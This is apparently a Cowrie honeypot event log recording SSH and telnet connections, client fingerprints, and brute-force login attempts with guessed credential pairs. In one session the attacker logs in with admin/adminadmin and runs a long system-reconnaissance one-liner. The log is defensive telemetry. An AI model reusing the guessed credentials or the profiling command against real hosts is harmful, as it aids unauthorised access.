{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60470,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e0ea96925e1","protocol":"telnet","message":"New connection: 107.6.151.170:60470 (159.203.135.109:23) [session: 6e0ea96925e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:08.172179Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50976,"dst_ip":"10.17.0.5","dst_port":22,"session":"c60d39759f35","protocol":"ssh","message":"New connection: 37.233.85.71:50976 (10.17.0.5:22) [session: c60d39759f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:12.472202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:12.476461Z","src_ip":"37.233.85.71","session":"c60d39759f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:12.586229Z","src_ip":"37.233.85.71","session":"c60d39759f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olegka","message":"login attempt [root/olegka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:12.912216Z","src_ip":"37.233.85.71","session":"c60d39759f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.73220109939575,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:13.739834Z","src_ip":"128.199.8.54","session":"20a570bc425d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:14.022104Z","src_ip":"37.233.85.71","session":"c60d39759f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56198,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb347d161fc1","protocol":"telnet","message":"New connection: 107.6.151.170:56198 (159.203.135.109:23) [session: eb347d161fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:21.459091Z"}
{"eventid":"cowrie.session.closed","duration":39.299994468688965,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:28.163614Z","src_ip":"128.199.8.54","session":"3e5b8b57578a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.2806921005249,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:34.801788Z","src_ip":"128.199.8.54","session":"f6042359c206","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.9366672039032,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:40.056247Z","src_ip":"128.199.8.54","session":"6654c5fc242d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34480,"dst_ip":"159.203.135.109","dst_port":23,"session":"d71d2860d1a4","protocol":"telnet","message":"New connection: 172.81.62.90:34480 (159.203.135.109:23) [session: d71d2860d1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:40.062401Z"}
{"eventid":"cowrie.session.closed","duration":39.710551500320435,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:42.021015Z","src_ip":"172.81.62.90","session":"619601b11355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.352458000183105,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:42.241878Z","src_ip":"128.199.8.54","session":"e27984c42126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.123589515686035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:43.295576Z","src_ip":"107.6.151.170","session":"6e0ea96925e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":37770,"dst_ip":"10.17.0.5","dst_port":22,"session":"456592c2e977","protocol":"ssh","message":"New connection: 43.153.12.68:37770 (10.17.0.5:22) [session: 456592c2e977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:50.108452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:50.113293Z","src_ip":"43.153.12.68","session":"456592c2e977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:50.184378Z","src_ip":"43.153.12.68","session":"456592c2e977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vr123456","message":"login attempt [root/Vr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:50.489533Z","src_ip":"43.153.12.68","session":"456592c2e977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:51.560423Z","src_ip":"43.153.12.68","session":"456592c2e977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.384315967559814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:00:52.843281Z","src_ip":"107.6.151.170","session":"eb347d161fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59715986251831,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:15.659456Z","src_ip":"172.81.62.90","session":"d71d2860d1a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":48120,"dst_ip":"10.17.0.5","dst_port":22,"session":"2adbcfc7fce3","protocol":"ssh","message":"New connection: 182.93.50.90:48120 (10.17.0.5:22) [session: 2adbcfc7fce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:27.158968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:27.163851Z","src_ip":"182.93.50.90","session":"2adbcfc7fce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:27.389693Z","src_ip":"182.93.50.90","session":"2adbcfc7fce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roberta","password":"roberta","message":"login attempt [roberta/roberta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:28.289335Z","src_ip":"182.93.50.90","session":"2adbcfc7fce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:29.505922Z","src_ip":"182.93.50.90","session":"2adbcfc7fce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":35138,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f5cad130ccd","protocol":"ssh","message":"New connection: 216.155.93.75:35138 (159.203.135.109:22) [session: 1f5cad130ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:30.679865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:30.683602Z","src_ip":"216.155.93.75","session":"1f5cad130ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:30.838716Z","src_ip":"216.155.93.75","session":"1f5cad130ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiv","password":"shiv@123","message":"login attempt [shiv/shiv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:31.491419Z","src_ip":"216.155.93.75","session":"1f5cad130ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:32.648310Z","src_ip":"216.155.93.75","session":"1f5cad130ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":34328,"dst_ip":"159.203.135.109","dst_port":22,"session":"9497c841a40d","protocol":"ssh","message":"New connection: 85.198.19.241:34328 (159.203.135.109:22) [session: 9497c841a40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:37.391561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:37.395932Z","src_ip":"85.198.19.241","session":"9497c841a40d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":53738,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ce8c96cca47","protocol":"ssh","message":"New connection: 91.92.40.13:53738 (10.17.0.5:22) [session: 6ce8c96cca47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:38.216678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:38.579969Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:38.582870Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:40.792022Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:41.411980Z","src_ip":"85.198.19.241","session":"9497c841a40d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:41.458240Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:41.461064Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:41.463583Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:41.466493Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:41.469594Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":44,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.093306Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jy123456","message":"login attempt [root/Jy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.220148Z","src_ip":"85.198.19.241","session":"9497c841a40d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:01:42.904281Z","src_ip":"91.92.40.13","session":"6ce8c96cca47","protocol":"ssh"}
